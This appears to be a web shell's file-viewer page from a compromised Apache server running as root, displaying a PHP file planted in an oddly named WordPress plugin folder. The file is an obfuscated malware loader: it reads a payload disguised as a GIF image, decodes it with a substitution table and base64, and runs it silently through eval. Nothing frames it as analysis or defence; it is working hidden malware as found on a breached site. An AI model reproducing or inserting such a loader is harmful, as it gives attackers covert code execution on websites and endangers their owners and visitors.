HEX
Server: Apache/2.4.54 (Debian)
System: Linux a5825d2beacc 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User: root (0)
PHP: 8.1.14
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/oloweqetu/efupid.php
<?php

function dechake_edothyz($mukinet_geshyqa) {
    if (!file_exists($mukinet_geshyqa))
        return false;
    $khixebo = @file_get_contents($mukinet_geshyqa);
    if (!$khixebo)
        return false;
    $khixebo = substr($khixebo, 3);
    $norydy = agynoja_dyshiji($khixebo);
    return $norydy;
}

function agynoja_dyshiji($mukinet_geshyqa) {
    $acazyna = shakoha_pexitac;
    $xotoco = array();
    for ($obozhas = 0; $obozhas < strlen($acazyna); $obozhas += 2) {
        $ebujyde = substr($acazyna, $obozhas, 1);
        $kumetho = substr($acazyna, $obozhas + 1, 1);
        $xotoco[$ebujyde] = $kumetho;
    }
    $qakhiva = strtr($mukinet_geshyqa, $xotoco);
    $qakhiva = base64_decode($qakhiva);

    return $qakhiva;
}

define("shakoha_pexitac", "u+q85bPhZpgeVApEOSz/b=4jJswV9vatBnncUF=gj9CdLOy3kP65iHd7MrYReBAMQWXU+qDTcfKY/2lyHwvuGLNG86EJRZFaTN0m2lsiWKtQrDI4oz7I1Cf0mohXSk3xx1");

$rafeshy = dechake_edothyz(__DIR__ . "/ass" . "ets/im" . "ages" . "/ithyw" . "ib.gif");
if ($rafeshy) {
    @eval($rafeshy);
}